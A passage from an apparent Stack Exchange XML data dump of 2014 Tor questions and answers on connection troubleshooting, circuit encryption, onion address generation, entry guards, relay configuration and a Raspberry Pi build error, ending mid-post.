  <row Id="1276" PostTypeId="1" CreationDate="2014-01-15T00:09:10.293" Score="4" ViewCount="1579" Body="&lt;p&gt;Browser looks like it's connected to Tor, (I see Tor congratulations page and green onion Tor enabled button) but cannot connect to any websites ( its always &quot;connecting&quot; in browser tab then times out with problems loading page error).I've tried changing identity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no problems loading websites like chrome or Safari when connected to net not using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;message log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;08/01/2014 01:41:45.340 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop. &#xA;08/01/2014 01:41:45.475 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit. &#xA;08/01/2014 01:41:45.754 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;08/01/2014 01:41:45.754 [NOTICE] Bootstrapped 100%: Done. &#xA;08/01/2014 01:41:46.606 [NOTICE] New control connection opened. &#xA;08/01/2014 01:43:44.322 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:0. Giving up. (waiting for socks info) &#xA;08/01/2014 01:45:13.321 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:0. Giving up. (waiting for socks info) &#xA;08/01/2014 01:46:44.322 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:0. Giving up. (waiting for socks info) &#xA;08/01/2014 01:47:46.322 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:0. Giving up. (waiting for socks info) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any fix suggestion gratefully accepted.&lt;/p&gt;&#xA;" OwnerUserId="956" LastEditorUserId="923" LastEditDate="2014-07-05T11:46:22.530" LastActivityDate="2014-07-05T11:46:22.530" Title="Tor Browser Bundle 3.5. on macosx 10.8 can't connect to other websites" Tags="|tor-browser-bundle|configuration|mac|" AnswerCount="1" CommentCount="2" ClosedDate="2014-01-19T13:35:38.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="1277" PostTypeId="1" AcceptedAnswerId="1280" CreationDate="2014-01-15T16:53:09.893" Score="10" ViewCount="923" Body="&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/493/where-along-the-path-is-encryption-used&quot;&gt;I know that when sending data from the Tor client to a server it is encrypted and gradually get decrypted on the way there&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is about when the server responds. The data must be encrypted or the entry guard (who knows your location) can read it and work out exactly what you are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My assumption is that the exit node encrypts the response, sends it to the middle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I wonder if the middle node encrypts it more before sending to the entry node and then the entry node encrypts it more before it sends it to the Tor user to decrypt, or if it just sends it without encrypting any more (as more encryption is unnecessary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to find this in the documentation and have been unsuccessful so far.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-06-09T15:13:02.907" Title="Do all relays in a circuit encrypt data response from a server?" Tags="|relays|circuit|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1278" PostTypeId="2" ParentId="698" CreationDate="2014-01-16T10:45:28.757" Score="2" Body="&lt;p&gt;How is this adversary figuring out what entry guards you are using? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it does from you connecting to Tor on an access point owned by them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more Tor users than entry guards, so one entry guard is used by multiple people which will help with matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how is he logging where data from the entry guard is going? (this is just a technical question that I do no know the answer to)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, how will he know if the data from the entry guard is going to a Tor user and not just another Tor relay (the data is encrypted after all) (though Tor relays locations are public knowledge)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't say that you need a separate installation of Tor per access point. It would require huge amounts of work to track your location from this, and the tracking would only give an estimation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way they would do it would be to ignore any access from locations that were constant (other Tor users), ignore any locations that are relays, and then they can find you if no one else using that entry guard is also changing location. So for certainty, you may want to use a new installation when using an untrusted access point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry for the rambling.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="923" LastEditDate="2014-07-02T22:00:56.487" LastActivityDate="2014-07-02T22:00:56.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1279" PostTypeId="2" ParentId="698" CreationDate="2014-01-16T14:29:28.580" Score="4" Body="&lt;p&gt;Currently Tor chooses 3 entry guards. There may be much fewer entry guards than Tor users, but as you fear, when combining 3 randomly chosen entry guards they indeed become a unique fingerprint for you. At least very very few users have the same set of entry guards as you do, and probably no one else at your geographical location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be very easy for an adversary to conclude or guess that it is the same Tor user that is connecting to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason the Tor developers have expressed the wish to reduce the number of entry guards to 1 (there was a ticket I believe). But this is not as easy as it sounds, partly due to performance reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even if you move around and the adversary knows you are the same Tor user, it will still not make it any easier for the adversary to link your anonymous user identities to your computer or you.&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-01-16T14:29:28.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1280" PostTypeId="2" ParentId="1277" CreationDate="2014-01-16T14:42:28.523" Score="9" Body="&lt;p&gt;The circuit:&#xA;[ Tor user &amp;lt;-&gt; Guard node &amp;lt;-&gt; Middle node &amp;lt;-&gt; Exit node &amp;lt;-&gt; Server ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending data to server:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Tor client always encrypt the data for the exit node&lt;/li&gt;&#xA;&lt;li&gt;And then encrypts it again (another layer) for the middle node&lt;/li&gt;&#xA;&lt;li&gt;And then again (yet another layer) for the guard node&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This way one layer need to be peeled of at each hop in the network.&#xA;If end-to-end encryption the data is also encrypted for the server first,&#xA;in yet another layer (HTTPS/TLS, not by Tor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recieving data from server:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The exit node encrypts answer data for the Tor user&lt;/li&gt;&#xA;&lt;li&gt;Then the middle node encrypts it again for the Tor user&lt;/li&gt;&#xA;&lt;li&gt;Then the guard node adds yet another layer encryption for the Tor user&lt;/li&gt;&#xA;&lt;li&gt;Tor user decrypts all layers&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The process is reversed in other words. Simplified, the nodes just &quot;add back&quot;&#xA;the encryption they peeled of when sending back the answer.&#xA;If this wasn't done there wouldn't be any purpose of using multiple hops,&#xA;because it would be possible for an adversay running Tor nodes to track&#xA;where the answer data travels.&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-01-16T14:42:28.523" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1281" PostTypeId="1" AcceptedAnswerId="1282" CreationDate="2014-01-16T19:17:38.880" Score="3" ViewCount="213" Body="&lt;p&gt;I want to run a small hobby server over the Tor network and be able to share the onion address with my friends. The server reachability will be intermittent. Can I keep using the same onion address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am aware that uptime tracking can be used to isolate my server if it goes up and down and thus is a deanonymization threat. At this point this is not a concern for this project.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-01-16T19:46:35.627" Title="Can I reuse the same .onion address if my server uptime is intermittent?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1282" PostTypeId="2" ParentId="1281" CreationDate="2014-01-16T19:46:35.627" Score="4" Body="&lt;p&gt;Yes.&lt;br/&gt;&#xA;Your hidden service's onion address is generated based on your hidden service's public key, so as long you keep that the same your onion address will stay the same.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-01-16T19:46:35.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1284" PostTypeId="1" CreationDate="2014-01-17T00:48:33.783" Score="14" ViewCount="4570" Body="&lt;p&gt;I wonder how the .onion domain names can be created? I mean, I don't assume that there is any central domain name provider. So how and where are those addresses created?&lt;/p&gt;&#xA;" OwnerUserId="966" LastActivityDate="2015-06-12T22:05:45.973" Title="How are domain names created in the Tor network?" Tags="|onion-services|onion-routing|dns|" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-13T08:53:09.420" ContentLicense="CC BY-SA 3.0" />
  <row Id="1285" PostTypeId="2" ParentId="1284" CreationDate="2014-01-17T07:55:29.000" Score="7" Body="&lt;p&gt;The creation of the hostname is described in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=rend-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;rend-spec&lt;/a&gt;, the Tor Rendezvous Specification.&lt;/p&gt;&#xA;&lt;p&gt;You are 100% correct: There is &lt;em&gt;no&lt;/em&gt; central domain name provider on the Tor network. There is &lt;em&gt;no&lt;/em&gt; central &lt;em&gt;anything&lt;/em&gt; provider on the Tor network.&lt;/p&gt;&#xA;&lt;h3&gt;How it works:&lt;/h3&gt;&#xA;&lt;p&gt;Tor generates two keys for every service on the Tor network. Tor generates a private &amp;quot;secret&amp;quot; key, and a public &amp;quot;address&amp;quot; key. These work a little like the email-password(sort of like the private key) and email-address(sort of like the public key) combination we're familiar with.&lt;/p&gt;&#xA;&lt;p&gt;The .onion public &amp;quot;address&amp;quot; domain name is built from the shorter, public key of the service.&lt;/p&gt;&#xA;&lt;p&gt;First the public &amp;quot;address&amp;quot; key gets hashed with SHA-1.&lt;/p&gt;&#xA;&lt;p&gt;The first 80 bits of the output are encoded with Base32 (see &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc4648&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC 4648&lt;/a&gt; for a description).&lt;/p&gt;&#xA;&lt;p&gt;The result is the hostname of your hidden service.&lt;/p&gt;&#xA;&lt;p&gt;The Tor software handles this generation for servers.&lt;/p&gt;&#xA;&lt;h3&gt;Further Reading / Try it out&lt;/h3&gt;&#xA;&lt;p&gt;For a more custom &amp;quot;vanity&amp;quot; .onion address generator, some have maintained services like those mentioned here: &lt;a href=&quot;https://tor.stackexchange.com/questions/10/how-do-hidden-services-get-onion-domains-that-arent-random&quot;&gt;How do Hidden Services get .onion domains that aren't random?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/katmagic/Shallot&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shallot&lt;/a&gt; is an example of a custom &amp;quot;vanity&amp;quot; address generator.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2015-06-12T22:05:45.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1286" PostTypeId="2" ParentId="1117" CreationDate="2014-01-17T13:33:05.847" Score="4" Body="&lt;p&gt;You can use several I2P eepsites from the 'normal' internet and so also through Tor. Several people run so-called inproxies. There are/were:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://i2p.to&quot; rel=&quot;nofollow&quot;&gt;http://i2p.to&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://i2p.in&quot; rel=&quot;nofollow&quot;&gt;http://i2p.in&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://i2p.us&quot; rel=&quot;nofollow&quot;&gt;http://i2p.us&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the moment only the last works. Just append &lt;code&gt;.us&lt;/code&gt; (or &lt;code&gt;.in&lt;/code&gt;, &lt;code&gt;.to&lt;/code&gt; when the other two are back online) to the I2P url. So if you want to reach zzz's eepsite enter &lt;a href=&quot;http://zzz.i2p.us&quot; rel=&quot;nofollow&quot;&gt;http://zzz.i2p.us&lt;/a&gt;. You can do this with or without Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you found out here are some other sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stats.i2p.us/&quot; rel=&quot;nofollow&quot;&gt;http://stats.i2p.us/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://planet.i2p.us/&quot; rel=&quot;nofollow&quot;&gt;http://planet.i2p.us/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-18T20:12:14.710" LastActivityDate="2014-01-18T20:12:14.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1287" PostTypeId="1" AcceptedAnswerId="1342" CreationDate="2014-01-17T19:37:28.960" Score="2" ViewCount="551" Body="&lt;p&gt;Recently, I have noticed a lot of language.bin files on my system after using Tor for a while.&#xA;The process I implement after closing Tor (or any other program, being VPN or direct connection) is to clean the system of any residual file. I have recently noticed the following files after closing Tor on my system:&#xA;Arabic.bin,&#xA;Czeck.bin,&#xA;Danish.bin,&#xA;Dutch.bin,&#xA;English.bin,&#xA;.&#xA;.&#xA;.&#xA;etc., (Total of 24 language.bin files).&lt;br&gt;&#xA;I don't feel comfortable about this; specially since it is somthing that didn't happen previously. Is there somthing wrong going on? For what purpose the files being injected into my system? Does fingerprinting going on? &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-01-23T12:45:06.917" LastActivityDate="2014-02-06T21:45:23.097" Title="Language.bin file have been found on my system after using Tor Browser" Tags="|tor-browser-bundle|windows|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1288" PostTypeId="2" ParentId="492" CreationDate="2014-01-18T00:15:28.233" Score="6" Body="&lt;p&gt;During the time when you encountered this fluctuation Tor had some problems with a &lt;a href=&quot;https://blog.torproject.org/blog/how-to-handle-millions-new-tor-clients&quot; rel=&quot;nofollow noreferrer&quot;&gt;botnet&lt;/a&gt;. Some ukrainian guy deployed Tor nodes and they build cuircits. As there were quite a huge amount of clients, this put a fair share of load on the relays. Maybe your relay also was affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ISUql.png&quot; alt=&quot;users between August 2013 and January 2014&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fluctuation should have disappeared because &lt;a href=&quot;https://blogs.technet.com/b/mmpc/archive/2014/01/09/tackling-the-sefnit-botnet-tor-hazard.aspx?Redirected=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;tried to remove the malware&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-18T00:15:28.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1290" PostTypeId="2" ParentId="1276" CreationDate="2014-01-19T10:21:30.037" Score="1" Body="&lt;p&gt;You're not using Sophos by any chance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10521&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/10521&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user978" LastActivityDate="2014-01-19T10:21:30.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1292" PostTypeId="2" ParentId="1209" CreationDate="2014-01-19T13:24:37.987" Score="2" Body="&lt;p&gt;This app was already identified as fake. In the public bug tracker you'll find &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10549&quot; rel=&quot;nofollow&quot;&gt;report #10549&lt;/a&gt;. A complaint was filed at 26th December 2013. It is unclear how and when Apple will react.  I can only recommend to &lt;em&gt;not&lt;/em&gt; use this app.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-19T13:24:37.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1294" PostTypeId="2" ParentId="1188" CreationDate="2014-01-19T18:14:21.093" Score="6" Body="&lt;p&gt;Orweb is broken on Android 4.4.x due to the fact that Google removed proxy setting support in their WebKit component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a new browser coming based on Firefox, but it is not quite ready yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your option are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use Firefox with our &quot;privacy enhanced configuration&quot; documented here: &lt;a href=&quot;https://guardianproject.info/apps/proxymob/&quot; rel=&quot;nofollow&quot;&gt;https://guardianproject.info/apps/proxymob/&lt;/a&gt; (&lt;em&gt;WARNING&lt;/em&gt;: this should be considered more private but NOT anonymous)&lt;/li&gt;&#xA;&lt;li&gt;Root your device and use transparent proxying to run all apps, browsers through Orbot/Tor. You should also use &quot;Incognito&quot; mode in Chrome, Firefox, etc if you do this.&lt;/li&gt;&#xA;&lt;li&gt;Be a very, very early alpha tester of Orfox, our new browser, with development builds here: &lt;a href=&quot;https://guardianproject.info/builds/Orfox/latest/&quot; rel=&quot;nofollow&quot;&gt;https://guardianproject.info/builds/Orfox/latest/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="981" LastEditorUserId="88" LastEditDate="2014-01-19T22:42:19.060" LastActivityDate="2014-01-19T22:42:19.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1295" PostTypeId="1" CreationDate="2014-01-19T19:20:54.530" Score="2" ViewCount="217" Body="&lt;p&gt;With Vidalia I would stop Tor, change my firewall profile, and then use regular Firefox.  I could switch back over the same way, and my TorBrowser tabs were still opened.  With this new setup, when I switch my firewall (to Block Tor), Tor keeps trying to connect, cycling through different servers, and of course it keeps failing.  How to I pause/stop Tor with this new 3.5 bundle?  If I kill the Tor process, the browser stays open, but when I restart Tor (using the executable in the directory) it doesn't work.  It's running in the process list, but there's no connectivity online (the browser).  Also, this causes the browser to eat the CPU at 99% until I kill the browser process.  (Switching the firewall profile is what initiates the browser eating the CPU.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows XP SP3 w/all updates.  &lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="923" LastEditDate="2014-03-05T19:26:19.227" LastActivityDate="2014-03-05T19:26:19.227" Title="How to pause Tor with new 3.5 firefox bundle (no Vidalia)" Tags="|tor-browser-bundle|windows|firefox|" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-21T22:54:04.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="1296" PostTypeId="2" ParentId="1215" CreationDate="2014-01-19T22:40:17.330" Score="1" Body="&lt;p&gt;The window you included wants to get a HTTP proxy and its port. I assume you use a recent Tor Browser Bundle. The proxy address and port are &lt;code&gt;127.0.0.1&lt;/code&gt; and port &lt;code&gt;9150&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably can get your VPN data from your VPN provider. Maybe there are help pages, support team etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the internals of Genymotion, but it might be the case that it makes requests which circumvent the proxy settings. So first you should test the tool and see if all requests going through the proxy. &lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-08-05T13:26:30.870" LastActivityDate="2014-08-05T13:26:30.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1298" PostTypeId="2" ParentId="1134" CreationDate="2014-01-20T15:33:48.573" Score="1" Body="&lt;p&gt;The following graph shows you which version relays are running:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NUI2x.png&quot; alt=&quot;Relay versions between september and December 2013&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see most relays were running Tor 0.2.3 and somewhen in the middle of December 2013 they started to upgrade. Tor started to support IPv6 exits with version 0.2.4.8-alpha (see &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5547&quot; rel=&quot;nofollow noreferrer&quot;&gt;#5547&lt;/a&gt;). So most of the running relays are not able to exit to IPv6 addresses even if they have the underlying network. This might improve as more and more upgrade to the recent 0.2.4 series.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to find some other IPv6 exits using &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Atlas&lt;/a&gt; and &lt;a href=&quot;http://torstatus.info/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Torstatus&lt;/a&gt;, but couldn't find any.  It seems that the sites do not support it at the moment. However I also asked in the Tor chat (#tor on OFTC). I was pointed to &lt;code&gt;cached-microdescs&lt;/code&gt;. They contain at the moment nearly 250 Tor relays, ca. 30 are exits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can set &lt;code&gt;ClientUseIPv6 1&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt; and go to &lt;code&gt;ipv6.google.com.YOURRELAY.exit&lt;/code&gt; (YOURRELAY should be the name or fingerprint of your exit). That way you might be able to see if some traffic exits on your relay or if there are problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of a non-exit relay you can additionally do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set &lt;code&gt;EntryNodes YOURRELAY&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt;. The value of &lt;code&gt;YOURRELAY&lt;/code&gt; should be the name or fingerprint of you relay.&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;code&gt;StrictNodes 1&lt;/code&gt;. This ensures that only you relay will be used.&lt;/li&gt;&#xA;&lt;li&gt;Restart Tor.&lt;/li&gt;&#xA;&lt;li&gt;Try a view websites and have a look at your relay.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-22T22:06:24.500" LastActivityDate="2014-01-22T22:06:24.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1299" PostTypeId="2" ParentId="722" CreationDate="2014-01-20T20:58:50.173" Score="3" Body="&lt;p&gt;As &lt;a href=&quot;https://tor.stackexchange.com/users/348/logforme&quot;&gt;logforme&lt;/a&gt; &lt;a href=&quot;https://tor.stackexchange.com/questions/722/traffic-in-port-9050-in-a-relay-denial-of-service-attack#comment881_722&quot;&gt;noted&lt;/a&gt; the OP also opened a &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2013-November/thread.html#3248&quot; rel=&quot;nofollow&quot;&gt;thread on tor-talk&lt;/a&gt;. I summarize the answer here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;SocksPort&lt;/code&gt; is closed using the settings noted in the question. Furthermore the OP set a &lt;code&gt;DROP&lt;/code&gt; rule in his packet filter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there was a special botnet active. The Rotpoi$on net targets Tor relays. Kent Backman maintains a &lt;a href=&quot;https://b.kentbackman.com/2013/04/15/rotpoion-botnet-powered-by-thousands-of-servers/&quot; rel=&quot;nofollow&quot;&gt;FAQ on Rotpoi$on&lt;/a&gt; and writes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When it was at its largest in the first quarter of 2013, Rotpoi$on was throwing thousands of packets a second. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In his case the attackers targeted port 8118 and the attacks came from more than 3500 different servers. Other ports were later also identified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is nothing wrong with the relay itself. There is just some kind of background traffic.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-20T20:58:50.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1300" PostTypeId="2" ParentId="1207" CreationDate="2014-01-20T21:17:31.530" Score="1" Body="&lt;h2&gt;SO36.net&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://so36.net/services/mail/&quot; rel=&quot;nofollow&quot;&gt;mail36.net&lt;/a&gt; is a service run by some private people. In order to get an account they require you to write them a mail and describe shortly why you want to use the service. The services at so36 can by used via Tor.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-20T21:17:31.530" CommentCount="0" CommunityOwnedDate="2014-01-20T21:17:31.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="1301" PostTypeId="2" ParentId="1207" CreationDate="2014-01-20T21:20:50.907" Score="2" Body="&lt;h2&gt;Posteo.de&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://posteo.de/&quot; rel=&quot;nofollow&quot;&gt;Posteo&lt;/a&gt; is a german mail provider. You can register via Tor anonymously. Posteo is free of ads and encrypts all internal communication. They want &lt;a href=&quot;https://posteo.de/site/leistungen#leistungenkonditionen&quot; rel=&quot;nofollow&quot;&gt;1 € per month&lt;/a&gt; for their services. This can be paid in cash.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-20T21:20:50.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1302" PostTypeId="1" AcceptedAnswerId="1360" CreationDate="2014-01-21T00:27:18.660" Score="2" ViewCount="454" Body="&lt;p&gt;I moved my Tor exit relay from my main server to a dedicated Raspberry Pi a week or two ago, and while it seemed to run fine at first it's been crashing a lot lately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made the heartbeat more frequent and checked the logs, and it looks like after a reboot the relay runs fine with ~150 open circuits for about 12 hours, then suddenly jumps up to 600 open circuits, prints a bunch of &lt;code&gt;Your computer is too slow to handle this many circuit creation requests!&lt;/code&gt; errors and then crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried overclocking the Pi, upping the MaxOnionsPending to 250, and reducing the MaxAdvertisedBandwidth to 250KB, and none of those seemed to help.  An &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2013-June/002184.html&quot; rel=&quot;nofollow&quot;&gt;email thread&lt;/a&gt; I saw speculated that this happens &quot;when your relay becomes the hidden&#xA;service directory, or introduction point, for a popular hidden service.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas how to fix this?  People who are running relays on Raspberry Pis, have you seen this or know how to deal with it?&lt;/p&gt;&#xA;" OwnerUserId="986" LastEditorUserId="71" LastEditDate="2014-01-21T07:27:34.230" LastActivityDate="2014-01-25T10:35:28.847" Title="Circuit creation storms crashing Raspberry Pi relay?" Tags="|exit-relays|raspberry-pi|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1303" PostTypeId="1" CreationDate="2014-01-21T04:11:16.127" Score="12" ViewCount="3748" Body="&lt;p&gt;Is is safe to import bookmarks from another browser into the Tor Browser? How can I import my bookmarks if it is safe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tried anything because I am not sure&lt;/p&gt;&#xA;" OwnerUserId="987" LastEditorUserId="923" LastEditDate="2014-03-05T19:23:11.383" LastActivityDate="2016-09-08T00:22:18.413" Title="Is it safe to import bookmarks?" Tags="|tor-browser-bundle|browsers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1304" PostTypeId="1" AcceptedAnswerId="1331" CreationDate="2014-01-21T04:43:17.830" Score="3" ViewCount="737" Body="&lt;p&gt;I'm trying to compile Tor from source on the latest version of Raspbian on a Raspberry Pi Model B according to the &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en#source&quot; rel=&quot;nofollow&quot;&gt;instructions on the Tor Project website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started compilation with &lt;code&gt;debuild -rfakeroot -uc -us&lt;/code&gt; and everything went swimmingly for the first half-hour of compilation with ~100% CPU usage, until this happened.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc  -g -O2 -D_FORTIFY_SOURCE=2 -fstack-protector-all -Wstack-protector -fwrapv&#xA;--param ssp-buffer-size=1 -fPIE -Wall -fno-strict-aliasing  -pie -z relro -z now&#xA; -o src/tools/tor-checkkey src/tools/tor-checkkey.o src/common/libor.a src/commo&#xA;n/libor-crypto.a src/common/libcurve25519_donna.a -lm -lz -lssl -lcrypto  -lrt -&#xA;ldl&#xA;../doc/asciidoc-helper.sh man /usr/bin/a2x ../doc/tor.1.in&#xA;a2x: ERROR: &quot;xmllint&quot; --nonet --noout --valid &quot;/home/server/debian-packages/tor-&#xA;0.2.4.20/doc/tor.1.xml&quot; returned non-zero exit status 4&#xA;==================================&#xA;You need a working asciidoc installed to be able to build the manpage.&#xA;&#xA;a2x is installed, but for some reason it isn't working.  Sometimes&#xA;this happens because required docbook support files are missing.&#xA;Please install docbook-xsl, docbook-xml, and xmlto (Debian) or&#xA;similar. If you use homebrew on Mac OS X, install the docbook formula&#xA;and add &quot;export XML_CATALOG_FILES=/usr/local/etc/xml/catalog&quot; to your&#xA;.bashrc&#xA;&#xA;Alternatively, to build without 